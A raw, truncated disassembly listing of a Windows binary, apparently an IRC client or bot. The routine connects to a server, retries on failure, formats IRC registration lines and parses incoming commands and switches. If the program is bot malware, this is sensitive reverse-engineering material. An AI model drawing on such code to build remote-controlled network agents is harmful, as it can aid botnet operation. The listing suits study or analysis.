esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi mov dword ptr [esi], offset off_43E028 mov dword ptr [esi+11h], offset off_43E034 lea ecx, [esi+2DAh] mov [esp+14h+var_4], 10h call sub_401B54 sub_40FDA0 endp ; --------------------------------------------------------------------------- lea ecx, [esi+2ACh] mov byte ptr [esp+10h], 0Fh call sub_401023 lea ecx, [esi+27Eh] mov byte ptr [esp+10h], 0Eh call sub_401023 lea ecx, [esi+250h] mov byte ptr [esp+10h], 0Dh call sub_401023 lea ecx, [esi+222h] mov byte ptr [esp+10h], 0Ch call sub_401023 lea ecx, [esi+1F4h] mov byte ptr [esp+10h], 0Bh call sub_401023 lea ecx, [esi+1C6h] mov byte ptr [esp+10h], 0Ah call sub_401023 lea ecx, [esi+198h] mov byte ptr [esp+10h], 9 call sub_401023 lea ecx, [esi+16Ah] mov byte ptr [esp+10h], 8 call sub_401023 lea ecx, [esi+13Ch] mov byte ptr [esp+10h], 7 call sub_401023 lea ecx, [esi+10Eh] mov byte ptr [esp+10h], 6 call sub_401023 lea ecx, [esi+0E0h] mov byte ptr [esp+10h], 5 call sub_401023 lea ecx, [esi+0B2h] mov byte ptr [esp+10h], 4 call sub_401023 lea ecx, [esi+84h] mov byte ptr [esp+10h], 3 call sub_401023 lea ecx, [esi+56h] mov byte ptr [esp+10h], 2 call sub_401023 lea ecx, [esi+3Dh] mov byte ptr [esp+10h], 1 call sub_401226 lea ecx, [esi+28h] mov byte ptr [esp+10h], 0 call sub_401226 mov ecx, esi mov dword ptr [esp+10h], 0FFFFFFFFh call sub_402031 mov ecx, [esp+8] pop esi mov large fs:0, ecx add esp, 10h retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 60h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40FF60 proc near ; CODE XREF: sub_40212Bj var_E = byte ptr -0Eh var_D = byte ptr -0Dh var_C = dword ptr -0Ch var_8 = byte ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h arg_1C = byte ptr 20h arg_1E = word ptr 22h arg_20 = dword ptr 24h arg_24 = dword ptr 28h arg_28 = dword ptr 2Ch arg_2C = dword ptr 30h arg_34 = byte ptr 38h arg_4C = byte ptr 50h arg_64 = byte ptr 68h arg_7C = byte ptr 80h arg_94 = byte ptr 98h arg_AC = byte ptr 0B0h arg_C4 = byte ptr 0C8h arg_DC = byte ptr 0E0h arg_F4 = byte ptr 0F8h arg_10C = byte ptr 110h arg_124 = byte ptr 128h arg_13C = byte ptr 140h arg_154 = byte ptr 158h arg_16C = byte ptr 170h arg_184 = byte ptr 188h arg_19C = byte ptr 1A0h arg_1B4 = byte ptr 1B8h arg_1CC = byte ptr 1D0h arg_1E4 = byte ptr 1E8h arg_1FC = byte ptr 200h arg_214 = byte ptr 218h arg_22C = byte ptr 230h arg_244 = byte ptr 248h arg_25C = byte ptr 260h arg_274 = byte ptr 278h arg_28C = byte ptr 290h arg_2A4 = byte ptr 2A8h arg_2BC = byte ptr 2C0h arg_2D4 = byte ptr 2D8h arg_2EC = byte ptr 2F0h arg_304 = byte ptr 308h arg_31C = byte ptr 320h arg_334 = byte ptr 338h arg_34C = byte ptr 350h arg_364 = byte ptr 368h arg_37C = byte ptr 380h arg_394 = byte ptr 398h arg_3AC = byte ptr 3B0h arg_3C4 = byte ptr 3C8h arg_3DC = byte ptr 3E0h arg_3F4 = byte ptr 3F8h arg_408 = byte ptr 40Ch arg_40C = byte ptr 410h arg_464 = byte ptr 468h arg_2464 = dword ptr 2468h arg_246C = dword ptr 2470h arg_2470 = dword ptr 2474h push 0FFFFFFFFh mov eax, large fs:0 push offset loc_4395D3 push eax mov eax, 2478h mov large fs:0, esp call sub_436840 push ebx push ebp mov ebp, ecx push esi push edi lea ecx, [esp+1Ch+var_4] call sub_401424 mov al, [ebp+17h] xor ebx, ebx cmp al, bl mov [esp+1Ch+arg_2470], ebx jz loc_411330 loc_40FFA2: ; CODE XREF: sub_40FF60+13CAj mov al, byte_4E6E74 mov edi, dword_50F8A4 cmp al, bl jz loc_411330 mov eax, [ebp+20h] cmp eax, ebx jnz short loc_40FFCA cmp dword ptr [ebp+1Ch], 5 jg short loc_40FFD4 cmp eax, ebx jz loc_41010E loc_40FFCA: ; CODE XREF: sub_40FF60+5Aj cmp dword ptr [ebp+1Ch], 2 jle loc_41010E loc_40FFD4: ; CODE XREF: sub_40FF60+60j mov eax, [ebp+18h] mov [ebp+16h], bl cmp eax, 0FFFFFFFFh mov [ebp+15h], bl jz short loc_40FFE9 push eax nop call near ptr 71AB9639h loc_40FFE9: ; CODE XREF: sub_40FF60+80j mov ecx, offset word_448C8E mov dword ptr [ebp+18h], 0FFFFFFFFh call sub_401537 mov esi, [ebp+20h] inc esi mov [ebp+20h], esi lea esi, [ebp+2DAh] mov ecx, esi call sub_401974 mov ecx, [ebp+20h] dec eax cmp ecx, eax jbe short loc_410019 mov [ebp+20h], ebx loc_410019: ; CODE XREF: sub_40FF60+B4j mov eax, [ebp+20h] mov ecx, esi push eax mov [ebp+1Ch], ebx call sub_40146A mov ecx, [eax] add ecx, 16Dh push ecx push offset byte_44741D mov ecx, offset word_448D06 call sub_401F32 mov edx, [ebp+20h] mov ecx, esi push edx call sub_40146A mov eax, [eax] mov ecx, offset word_448D06 add eax, 1B6h push eax push offset dword_4473D4 call sub_401F32 mov ecx, [ebp+20h] push ecx mov ecx, esi call sub_40146A mov edx, [eax] mov ecx, offset word_448D06 push edx push offset dword_4472B0 call sub_401F32 mov eax, [ebp+20h] mov ecx, esi push eax call sub_40146A mov ecx, [eax] add ecx, 124h push ecx push offset word_447342 mov ecx, offset word_448D06 call sub_401F32 mov edx, [ebp+20h] mov ecx, esi push edx call sub_40146A mov eax, [eax] mov ecx, offset word_448D06 add eax, 0DBh push eax push offset byte_4472F9 call sub_401F32 mov ecx, [ebp+20h] push ecx mov ecx, esi call sub_40146A mov edx, [eax] mov ecx, offset word_448D06 add edx, 92h push edx push offset byte_44738B call sub_401F32 mov eax, [ebp+20h] mov ecx, esi push eax call sub_40146A mov ecx, [eax] add ecx, 1FFh push ecx push offset byte_4474AF mov ecx, offset word_448D06 call sub_401F32 call edi mov [ebp+24h], eax loc_41010E: ; CODE XREF: sub_40FF60+64j ; sub_40FF60+6Ej mov edx, [ebp+18h] cmp edx, 0FFFFFFFFh jnz short loc_410138 push 6 push 1 push 2 nop call near ptr 71AB3B91h push 7D0h mov [ebp+18h], eax mov [ebp+15h], bl nop call near ptr 2830000h jmp loc_411327 ; --------------------------------------------------------------------------- loc_410138: ; CODE XREF: sub_40FF60+1B4j cmp [ebp+15h], bl jnz loc_4102C8 mov ax, word_44735C xor edx, edx mov [esp+20h+arg_20], edx push eax mov [esp+24h+arg_24], edx mov word ptr [esp+24h+arg_20], 2 mov [esp+24h+arg_28], edx mov [esp+24h+arg_2C], edx nop call near ptr 71AB2B66h mov ecx, offset byte_4472F9 mov [esp+24h+arg_1E], ax call sub_4017E4 push eax call sub_40187F add esp, 4 mov [esp+24h+arg_20], eax call edi mov edx, [ebp+18h] lea ecx, [esp+24h+arg_1C] push 10h push ecx push edx mov [ebp+24h], eax nop call near ptr 71AB406Ah cmp eax, 0FFFFFFFFh jnz short loc_4101B8 push 2710h nop call near ptr 2830000h mov eax, [ebp+1Ch] mov [ebp+15h], bl inc eax mov [ebp+1Ch], eax jmp loc_411327 ; --------------------------------------------------------------------------- loc_4101B8: ; CODE XREF: sub_40FF60+23Cj mov byte ptr [ebp+15h], 1 mov [ebp+16h], bl call edi mov [ebp+24h], eax xor eax, eax mov [esp+30h+arg_0], eax lea ecx, [esp+30h+arg_20] mov [esp+30h+arg_4], eax lea edx, [esp+30h+arg_0] mov [esp+30h+arg_8], eax push ecx mov [esp+34h+arg_C], eax mov eax, [ebp+18h] push edx push eax mov [esp+3Ch+arg_20], 10h nop call near ptr 71AB951Eh mov ecx, [esp+3Ch+var_4+3] mov edx, [esp+3Ch+var_4+2] mov eax, [esp+3Ch+var_4+1] and ecx, 0FFh push ecx mov ecx, [esp+40h+var_4] and edx, 0FFh and eax, 0FFh push edx and ecx, 0FFh push eax push ecx lea edx, [esp+4Ch+arg_408] push offset aD_D_D_D ; "%d.%d.%d.%d" push edx nop call near ptr byte_5EA1BD add esp, 18h lea eax, [esp+3Ch+arg_408] lea ecx, [ebp+3Dh] push eax call sub_4015D7 lea ecx, [esp+3Ch+arg_408] push ecx nop call near ptr 71AB2BF4h push offset byte_446F60 mov ecx, offset byte_44738B mov [ebp+52h], eax call sub_4012EE test eax, eax jz short loc_410287 mov ecx, offset byte_44738B call sub_4017E4 mov edx, dword_44710C push eax push edx push offset aSS_0 ; "%s %s\r\n" push ebp call sub_401E0B add esp, 10h loc_410287: ; CODE XREF: sub_40FF60+305j mov ecx, offset byte_4E6E75 call sub_4017E4 push eax mov ecx, offset byte_4E6E75 call sub_4017E4 push eax mov eax, dword_447114 push eax mov ecx, offset byte_4E6E75 call sub_4017E4 mov ecx, dword_447110 push eax push ecx push offset aSSSS00S ; "%s %s\r\n%s %s 0 0 :%s\r\n" push ebp call sub_401E0B add esp, 1Ch jmp loc_411327 ; --------------------------------------------------------------------------- loc_4102C8: ; CODE XREF: sub_40FF60+1DBj mov ecx, 800h xor eax, eax lea edi, [esp+20h+arg_464] push ebx rep stosd lea eax, [esp+24h+arg_464] push 2000h push eax push edx call sub_401280 add esp, 10h cmp al, bl jz loc_411320 nop call near ptr 27E0716h lea ecx, [esp+20h+var_8] mov [ebp+24h], eax call sub_401CBC lea ecx, [esp+20h+arg_464] push ecx lea ecx, [esp+24h+var_8] call sub_401A87 push offset asc_443600 ; " " lea edx, [esp+24h+arg_364] push 1 push edx lea ecx, [esp+2Ch+var_8] call sub_4016AE mov ecx, dword_447118 mov byte ptr [esp+20h+arg_246C], 1 push ecx mov ecx, eax call sub_4012EE test eax, eax jnz short loc_4103A0 push offset asc_443600 ; " " lea edx, [esp+24h+arg_3F4] push 4 push edx lea ecx, [esp+2Ch+var_8] call sub_4016AE push offset dword_4473D4 mov ecx, eax mov byte ptr [esp+24h+arg_246C], 2 call sub_401B72 test eax, eax lea ecx, [esp+20h+arg_3F4] mov byte ptr [esp+20h+arg_246C], 1 setz [esp+20h+var_D] call sub_401226 mov al, [esp+20h+var_D] mov [esp+20h+var_D], 1 cmp al, bl jnz short loc_4103A4 loc_4103A0: ; CODE XREF: sub_40FF60+3EAj mov [esp+20h+var_D], bl loc_4103A4: ; CODE XREF: sub_40FF60+43Ej lea ecx, [esp+20h+arg_364] mov byte ptr [esp+20h+arg_246C], bl call sub_401226 cmp [esp+20h+var_D], bl jz short loc_4103C6 mov byte ptr [ebp+16h], 1 jmp loc_411327 ; --------------------------------------------------------------------------- loc_4103C6: ; CODE XREF: sub_40FF60+45Bj push offset asc_443600 ; " " lea eax, [esp+24h+arg_F4] push ebx push eax lea ecx, [esp+2Ch+var_8] call sub_4016AE mov ecx, dword_4470EC mov byte ptr [esp+20h+arg_246C], 3 push ecx mov ecx, eax call sub_4012EE test eax, eax lea ecx, [esp+20h+arg_F4] mov byte ptr [esp+20h+arg_246C], bl setz [esp+20h+var_D] call sub_401226 mov al, [esp+20h+var_D] push offset asc_443600 ; " " cmp al, bl push 1 jz short loc_410464 lea edx, [esp+28h+arg_2A4] lea ecx, [esp+28h+var_8] push edx call sub_4016AE mov ecx, eax mov byte ptr [esp+20h+arg_246C], 4 call sub_4017E4 push eax mov eax, dword_447108 push eax push offset aSS_0 ; "%s %s\r\n" push ebp call sub_401E0B add esp, 10h mov byte ptr [esp+20h+arg_246C], bl lea ecx, [esp+20h+arg_2A4] jmp loc_410592 ; --------------------------------------------------------------------------- loc_410464: ; CODE XREF: sub_40FF60+4BAj lea edx, [esp+28h+arg_124] lea ecx, [esp+28h+var_8] push edx call sub_4016AE mov ecx, dword_4470F0 mov byte ptr [esp+20h+arg_246C], 5 push ecx mov ecx, eax call sub_4012EE test eax, eax lea ecx, [esp+20h+arg_124] mov byte ptr [esp+20h+arg_246C], bl setz [esp+20h+var_D] call sub_401226 mov al, [esp+20h+var_D] push offset asc_443600 ; " " cmp al, bl jz loc_4105D0 lea edx, [esp+24h+arg_40C] push 12h push edx lea ecx, [esp+2Ch+var_8] call sub_4016AE push offset byte_446F60 mov ecx, eax mov byte ptr [esp+24h+arg_246C], 6 call sub_4012EE lea ecx, [esp+20h+arg_40C] mov esi, eax mov byte ptr [esp+20h+arg_246C], bl call sub_401226 cmp esi, ebx jz loc_411327 push offset asc_443600 ; " " lea eax, [esp+24h+arg_154] push 11h push eax lea ecx, [esp+2Ch+var_8] call sub_4016AE mov ecx, dword_447108 mov byte ptr [esp+20h+arg_246C], 7 push ecx mov ecx, eax call sub_4012EE test eax, eax lea ecx, [esp+20h+arg_154] mov byte ptr [esp+20h+arg_246C], bl setz [esp+20h+var_D] call sub_401226 cmp [esp+20h+var_D], bl jz short loc_410597 push offset asc_443600 ; " " lea edx, [esp+24h+arg_2D4] push 12h push edx lea ecx, [esp+2Ch+var_8] call sub_4016AE mov ecx, eax mov byte ptr [esp+20h+arg_246C], 8 call sub_4017E4 push eax mov eax, dword_447108 push eax push offset aSS_0 ; "%s %s\r\n" push ebp call sub_401E0B add esp, 10h mov byte ptr [esp+20h+arg_246C], bl lea ecx, [esp+20h+arg_2D4] loc_410592: ; CODE XREF: sub_40FF60+4FFj call sub_401226 loc_410597: ; CODE XREF: sub_40FF60+5E6j cmp [ebp+16h], bl jnz loc_411327 mov ecx, offset byte_44741D call sub_4017E4 push eax mov ecx, offset dword_4473D4 call sub_4017E4 mov ecx, dword_4470F4 push eax push ecx push offset aSSS_0 ; "%s %s %s\r\n" push ebp call sub_401E0B add esp, 14h jmp loc_411327 ; --------------------------------------------------------------------------- loc_4105D0: ; CODE XREF: sub_40FF60+550j lea edx, [esp+24h+arg_394] push 1 push edx lea ecx, [esp+2Ch+var_8] call sub_4016AE mov ecx, dword_447128 mov byte ptr [esp+20h+arg_246C], 9 push ecx mov ecx, eax call sub_4012EE test eax, eax jz short loc_410652 push offset asc_443600 ; " " lea edx, [esp+24h+arg_184] push 1 push edx lea ecx, [esp+2Ch+var_8] call sub_4016AE mov ecx, dword_44712C mov byte ptr [esp+20h+arg_246C], 0Ah push ecx mov ecx, eax call sub_4012EE test eax, eax lea ecx, [esp+20h+arg_184] mov byte ptr [esp+20h+arg_246C], 9 setz [esp+20h+var_D] call sub_401226 mov al, [esp+20h+var_D] mov [esp+20h+var_D], bl cmp al, bl jz short loc_410657 loc_410652: ; CODE XREF: sub_40FF60+69Bj mov [esp+20h+var_D], 1 loc_410657: ; CODE XREF: sub_40FF60+6F0j lea ecx, [esp+20h+arg_394] mov byte ptr [esp+20h+arg_246C], bl call sub_401226 cmp [esp+20h+var_D], bl jz short loc_4106C4 cmp [ebp+16h], bl jnz short loc_4106A0 mov ecx, offset byte_44741D call sub_4017E4 push eax mov ecx, offset dword_4473D4 call sub_4017E4 mov edx, dword_4470F4 push eax push edx push offset aSSS_0 ; "%s %s %s\r\n" push ebp call sub_401E0B add esp, 14h loc_4106A0: ; CODE XREF: sub_40FF60+713j mov ecx, offset byte_4E6E75 call sub_4017E4 push eax mov eax, dword_4470FC push eax push offset aSS_0 ; "%s %s\r\n" push ebp call sub_401E0B add esp, 10h jmp loc_411327 ; --------------------------------------------------------------------------- loc_4106C4: ; CODE XREF: sub_40FF60+70Ej push offset asc_443600 ; " " lea ecx, [esp+24h+arg_1B4] push 1 push ecx lea ecx, [esp+2Ch+var_8] call sub_4016AE mov edx, dword_447104 mov ecx, eax push edx mov byte ptr [esp+24h+arg_246C], 0Bh call sub_4012EE test eax, eax lea ecx, [esp+20h+arg_1B4] mov byte ptr [esp+20h+arg_246C], bl setz [esp+20h+var_D] call sub_401226 mov al, [esp+20h+var_D] push offset asc_443600 ; " " cmp al, bl jz short loc_410775 lea eax, [esp+24h+arg_94] push 3 push eax lea ecx, [esp+2Ch+var_8] call sub_4016AE push offset dword_4437F8 lea ecx, [esp+24h+arg_94] mov byte ptr [esp+24h+arg_246C], 0Ch call sub_4014D3 push eax call near ptr 77C47C60h nop add esp, 8 cmp eax, ebx jz short loc_41075D inc eax lea ecx, [ebp+28h] push eax call sub_4015D7 loc_41075D: ; CODE XREF: sub_40FF60+7F1j lea ecx, [esp+20h+arg_94] mov byte ptr [esp+20h+arg_246C], bl call sub_401226 jmp loc_411327 ; --------------------------------------------------------------------------- loc_410775: ; CODE XREF: sub_40FF60+7B7j lea ecx, [esp+24h+arg_304] push 1 push ecx lea ecx, [esp+2Ch+var_8] call sub_4016AE mov edx, dword_447100 mov ecx, eax push edx mov byte ptr [esp+24h+arg_246C], 0Dh call sub_4012EE test eax, eax jnz short loc_4107B0 mov al, byte_447834 mov [esp+20h+var_D], 1 cmp al, bl jnz short loc_4107B4 loc_4107B0: ; CODE XREF: sub_40FF60+840j mov [esp+20h+var_D], bl loc_4107B4: ; CODE XREF: sub_40FF60+84Ej lea ecx, [esp+20h+arg_304] mov byte ptr [esp+20h+arg_246C], bl call sub_401226 cmp [esp+20h+var_D], bl jz loc_410AC1 push offset asc_443C84 ; ":" lea eax, [esp+24h+arg_4C] push 1 push eax lea ecx, [esp+2Ch+var_8] call sub_4016AE push 96h mov byte ptr [esp+24h+arg_246C], 0Eh call sub_4367FA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+20h+var_C], eax cmp eax, ebx mov byte ptr [esp+20h+arg_246C], 0Fh jz short loc_410812 mov ecx, eax call sub_402054 loc_410812: ; CODE XREF: sub_40FF60+8A9j push 0ADh mov byte ptr [esp+24h+arg_246C], 0Eh call sub_4367FA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+20h+var_C], eax cmp eax, ebx mov byte ptr [esp+20h+arg_246C], 10h jz short loc_41083E mov ecx, eax call sub_4010BE loc_41083E: ; CODE XREF: sub_40FF60+8D5j push offset asc_4435EC ; "|" lea ecx, [esp+24h+arg_4C] mov byte ptr [esp+24h+arg_246C], 0Eh call sub_401A9B push offset asc_4435EC ; "|" lea ecx, [esp+24h+arg_7C] push ebx push ecx lea ecx, [esp+2Ch+arg_4C] xor edi, edi call sub_4016AE push offset byte_446F60 mov ecx, eax mov byte ptr [esp+24h+arg_246C], 11h call sub_4012EE lea ecx, [esp+20h+arg_7C] mov esi, eax mov byte ptr [esp+20h+arg_246C], 0Eh call sub_401226 cmp esi, ebx jz loc_410AAC loc_41089F: ; CODE XREF: sub_40FF60+B46j push 96h call sub_4367FA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+20h+var_C], eax cmp eax, ebx mov byte ptr [esp+20h+arg_246C], 12h jz short loc_4108C7 mov ecx, eax call sub_402054 mov esi, eax jmp short loc_4108C9 ; --------------------------------------------------------------------------- loc_4108C7: ; CODE XREF: sub_40FF60+95Aj xor esi, esi loc_4108C9: ; CODE XREF: sub_40FF60+965j push 0ADh mov byte ptr [esp+24h+arg_246C], 0Eh call sub_4367FA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+20h+var_C], eax cmp eax, ebx mov byte ptr [esp+20h+arg_246C], 13h jz short loc_4108FB mov ecx, eax call sub_4010BE mov [esp+20h+var_C], eax jmp short loc_4108FF ; --------------------------------------------------------------------------- loc_4108FB: ; CODE XREF: sub_40FF60+98Cj mov [esp+20h+var_C], ebx loc_4108FF: ; CODE XREF: sub_40FF60+999j push offset aS_3 ; " -s" lea ecx, [esp+24h+var_8] mov byte ptr [esp+24h+arg_246C], 0Eh call sub_4013E3 test eax, eax jz short loc_410922 mov byte ptr [esi+93h], 1 jmp short loc_410928 ; --------------------------------------------------------------------------- loc_410922: ; CODE XREF: sub_40FF60+9B7j mov [esi+93h], bl loc_410928: ; CODE XREF: sub_40FF60+9C0j push offset aN_0 ; " -n" lea ecx, [esp+24h+var_8] call sub_4013E3 test eax, eax jz short loc_410943 mov byte ptr [esi+94h], 1 jmp short loc_410949 ; --------------------------------------------------------------------------- loc_410943: ; CODE XREF: sub_40FF60+9D8j mov [esi+94h], bl loc_410949: ; CODE XREF: sub_40FF60+9E1j push offset aO ; " -o" lea ecx, [esp+24h+var_8] call sub_4013E3 test eax, eax jz short loc_410964 mov byte ptr [esi+95h], 1 jmp short loc_41096A ; --------------------------------------------------------------------------- loc_410964: ; CODE XREF: sub_40FF60+9F9j mov [esi+95h], bl loc_41096A: ; CODE XREF: sub_40FF60+A02j push offset asc_443600 ; " " lea edx, [esp+24h+arg_1E4] push 3 push edx lea ecx, [esp+2Ch+var_8] call sub_4016AE push eax lea ecx, [esi+15h] mov byte ptr [esp+24h+arg_246C], 14h call sub_401FBE lea ecx, [esp+20h+arg_1E4] mov byte ptr [esp+20h+arg_246C], 0Eh call sub_401226 push offset byte_446F60 lea ecx, [esi+54h] call sub_4015D7 push offset byte_446F60 lea ecx, [esi+3Fh] call sub_4015D7 push offset asc_443600 ; " " lea eax, [esp+24h+arg_AC] push 3 push eax lea ecx, [esp+2Ch+var_8] call sub_4016AE push eax lea ecx, [esi+2Ah] mov byte ptr [esp+24h+arg_246C], 15h call sub_401FBE lea ecx, [esp+20h+arg_AC] mov byte ptr [esp+20h+arg_246C], 0Eh call sub_401226 push offset asc_4435EC ; "|" lea ecx, [esp+24h+arg_214] push edi push ecx lea ecx, [esp+2Ch+arg_4C] call sub_4016AE mov ecx, eax mov byte ptr [esp+20h+arg_246C], 16h call sub_4017E4 push eax mov ecx, esi call sub_4015D7 lea ecx, [esp+20h+arg_214] mov byte ptr [esp+20h+arg_246C], 0Eh call sub_401226 mov ecx, [esp+20h+var_C] push 1 push esi call sub_401DE3 cmp esi, ebx jz short loc_410A59 push 1 mov ecx, esi call sub_4019D3 loc_410A59: ; CODE XREF: sub_40FF60+AEEj mov ecx, [esp+20h+var_C] call sub_4013D4 inc edi push offset asc_4435EC ; "|" lea edx, [esp+24h+arg_7C] push edi push edx lea ecx, [esp+2Ch+arg_4C] call sub_4016AE push offset byte_446F60 mov ecx, eax mov byte ptr [esp+24h+arg_246C], 11h call sub_4012EE lea ecx, [esp+20h+arg_7C] mov esi, eax mov byte ptr [esp+20h+arg_246C], 0Eh call sub_401226 cmp esi, ebx jnz loc_41089F loc_410AAC: ; CODE XREF: sub_40FF60+939j lea ecx, [esp+20h+arg_4C] mov byte ptr [esp+20h+arg_246C], bl call sub_401226 jmp loc_411327 ; --------------------------------------------------------------------------- loc_410AC1: ; CODE XREF: sub_40FF60+86Bj push offset asc_443600 ; " " lea eax, [esp+24h+arg_334] push 1 push eax lea ecx, [esp+2Ch+var_8] call sub_4016AE mov ecx, dword_4470F8 mov byte ptr [esp+20h+arg_246C], 17h push ecx mov ecx, eax call sub_4012EE test eax, eax lea ecx, [esp+20h+arg_334] mov byte ptr [esp+20h+arg_246C], bl setz [esp+20h+var_D] call sub_401226 cmp [esp+20h+var_D], bl jz loc_410DDB push 96h call sub_4367FA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+20h+var_C], eax cmp eax, ebx mov byte ptr [esp+20h+arg_246C], 18h jz short loc_410B3B mov ecx, eax call sub_402054 mov esi, eax jmp short loc_410B3D ; --------------------------------------------------------------------------- loc_410B3B: ; CODE XREF: sub_40FF60+BCEj xor esi, esi loc_410B3D: ; CODE XREF: sub_40FF60+BD9j push 0ADh mov byte ptr [esp+24h+arg_246C], bl call sub_4367FA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+20h+var_C], eax cmp eax, ebx mov byte ptr [esp+20h+arg_246C], 19h jz short loc_410B6C mov ecx, eax call sub_4010BE mov edi, eax jmp short loc_410B6E ; --------------------------------------------------------------------------- loc_410B6C: ; CODE XREF: sub_40FF60+BFFj xor edi, edi loc_410B6E: ; CODE XREF: sub_40FF60+C0Aj push offset aO ; " -o" lea ecx, [esp+24h+var_8] mov byte ptr [esp+24h+arg_246C], bl call sub_4013E3 test eax, eax jz short loc_410B90 mov byte ptr [esi+95h], 1 jmp short loc_410B96 ; --------------------------------------------------------------------------- loc_410B90: ; CODE XREF: sub_40FF60+C25j mov [esi+95h], bl loc_410B96: ; CODE XREF: sub_40FF60+C2Ej push offset aS_3 ; " -s" lea ecx, [esp+24h+var_8] call sub_4013E3 test eax, eax jz short loc_410BB1 mov byte ptr [esi+93h], 1 jmp short loc_410BB7 ; --------------------------------------------------------------------------- loc_410BB1: ; CODE XREF: sub_40FF60+C46j mov [esi+93h], bl loc_410BB7: ; CODE XREF: sub_40FF60+C4Fj push offset aN_0 ; " -n" lea ecx, [esp+24h+var_8] call sub_4013E3 test eax, eax jz short loc_410BD2 mov byte ptr [esi+94h], 1 jmp short loc_410BD8 ; --------------------------------------------------------------------------- loc_410BD2: ; CODE XREF: sub_40FF60+C67j mov [esi+94h], bl loc_410BD8: ; CODE XREF: sub_40FF60+C70j push offset asc_443C84 ; ":" lea edx, [esp+24h+arg_274] push ebx push edx lea ecx, [esp+2Ch+var_8] call sub_4016AE push offset asc_443600 ; " " lea ecx, [esp+24h+arg_3C4] push ebx push ecx mov ecx, eax mov byte ptr [esp+2Ch+arg_246C], 1Ah call sub_4016AE push offset asc_443C78 ; "!" lea edx, [esp+24h+arg_244] push ebx push edx mov ecx, eax mov byte ptr [esp+2Ch+arg_246C], 1Bh call sub_4016AE push eax lea ecx, [esi+15h] mov byte ptr [esp+24h+arg_246C], 1Ch call sub_401FBE lea ecx, [esp+20h+arg_244] mov byte ptr [esp+20h+arg_246C], 1Bh call sub_401226 lea ecx, [esp+20h+arg_3C4] mov byte ptr [esp+20h+arg_246C], 1Ah call sub_401226 lea ecx, [esp+20h+arg_274] mov byte ptr [esp+20h+arg_246C], bl call sub_401226 push offset asc_443C78 ; "!" lea eax, [esp+24h+arg_DC] push 1 push eax lea ecx, [esp+2Ch+var_8] call sub_4016AE push offset dword_4437F8 lea ecx, [esp+24h+arg_C4] push ebx push ecx mov ecx, eax mov byte ptr [esp+2Ch+arg_246C], 1Dh call sub_4016AE push eax lea ecx, [esi+54h] mov byte ptr [esp+24h+arg_246C], 1Eh call sub_401FBE lea ecx, [esp+20h+arg_C4] mov byte ptr [esp+20h+arg_246C], 1Dh call sub_401226 lea ecx, [esp+20h+arg_DC] mov byte ptr [esp+20h+arg_246C], bl call sub_401226 push offset dword_4437F8 lea edx, [esp+24h+arg_13C] push 1 push edx lea ecx, [esp+2Ch+var_8] call sub_4016AE push offset asc_443600 ; " " lea ecx, [esp+24h+arg_10C] push ebx push ecx mov ecx, eax mov byte ptr [esp+2Ch+arg_246C], 1Fh call sub_4016AE push eax lea ecx, [esi+3Fh] mov byte ptr [esp+24h+arg_246C], 20h call sub_401FBE mov byte ptr [esp+20h+arg_246C], 1Fh lea ecx, [esp+20h+arg_10C] call sub_401226 lea ecx, [esp+20h+arg_13C] mov byte ptr [esp+20h+arg_246C], bl call sub_401226 push offset asc_443600 ; " " lea edx, [esp+24h+arg_16C] push 2 push edx lea ecx, [esp+2Ch+var_8] call sub_4016AE push eax lea ecx, [esi+2Ah] mov byte ptr [esp+24h+arg_246C], 21h call sub_401FBE lea ecx, [esp+20h+arg_16C] mov byte ptr [esp+20h+arg_246C], bl call sub_401226 push offset asc_443C74 ; " :" lea ecx, [esp+24h+var_8] call sub_4014D3 push eax nop call near ptr 77C47C60h add esp, 8 cmp eax, ebx jz short loc_410DAD add eax, 2 push eax jmp short loc_410DB2 ; --------------------------------------------------------------------------- loc_410DAD: ; CODE XREF: sub_40FF60+E45j push offset byte_446F60 loc_410DB2: ; CODE XREF: sub_40FF60+E4Bj mov ecx, esi call sub_4015D7 push ebx push esi mov ecx, edi call sub_401DE3 cmp esi, ebx jz short loc_410DCF push 1 mov ecx, esi call sub_4019D3 loc_410DCF: ; CODE XREF: sub_40FF60+E64j mov ecx, edi call sub_4013D4 jmp loc_411327 ; --------------------------------------------------------------------------- loc_410DDB: ; CODE XREF: sub_40FF60+BADj push offset asc_443600 ; " " lea eax, [esp+24h+arg_19C] push 1 push eax lea ecx, [esp+2Ch+var_8] call sub_4016AE mov ecx, dword_44711C mov byte ptr [esp+20h+arg_246C], 22h push ecx mov ecx, eax call sub_4012EE test eax, eax lea ecx, [esp+20h+arg_19C] mov byte ptr [esp+20h+arg_246C], bl setz [esp+20h+var_D] call sub_401226 cmp [esp+20h+var_D], bl jz loc_410FB0 sub esp, 18h lea ecx, [esp+38h+var_8] mov edx, esp mov [esp+38h+var_C], esp push offset asc_443600 ; " " push 3 push edx call sub_4016AE mov ecx, offset word_448C8E call sub_401CD0 cmp eax, ebx jz short loc_410EA2 sub esp, 18h lea ecx, [esp+38h+var_8] mov eax, esp mov [esp+38h+var_C], esp push offset asc_443600 ; " " push 3 push eax call sub_4016AE sub esp, 18h mov byte ptr [esp+50h+arg_246C], 23h mov ecx, esp mov [esp+50h+arg_C], esp push offset asc_443600 ; " " push 3 push ecx lea ecx, [esp+5Ch+var_8] call sub_4016AE mov ecx, offset word_448C8E mov byte ptr [esp+50h+arg_246C], bl call sub_40210D loc_410EA2: ; CODE XREF: sub_40FF60+EF3j push offset asc_443600 ; " " lea edx, [esp+24h+arg_1CC] push 3 push edx lea ecx, [esp+2Ch+var_8] call sub_4016AE push offset byte_4E6E75 mov ecx, eax mov byte ptr [esp+24h+arg_246C], 24h call sub_401B72 test eax, eax lea ecx, [esp+20h+arg_1CC] mov byte ptr [esp+20h+arg_246C], bl setz [esp+20h+var_D] call sub_401226 cmp [esp+20h+var_D], bl jz loc_411327 push offset asc_443C84 ; ":" lea eax, [esp+24h+arg_22C] push ebx push eax lea ecx, [esp+2Ch+var_8] call sub_4016AE push offset asc_443C78 ; "!" lea ecx, [esp+24h+arg_1FC] push ebx push ecx mov ecx, eax mov 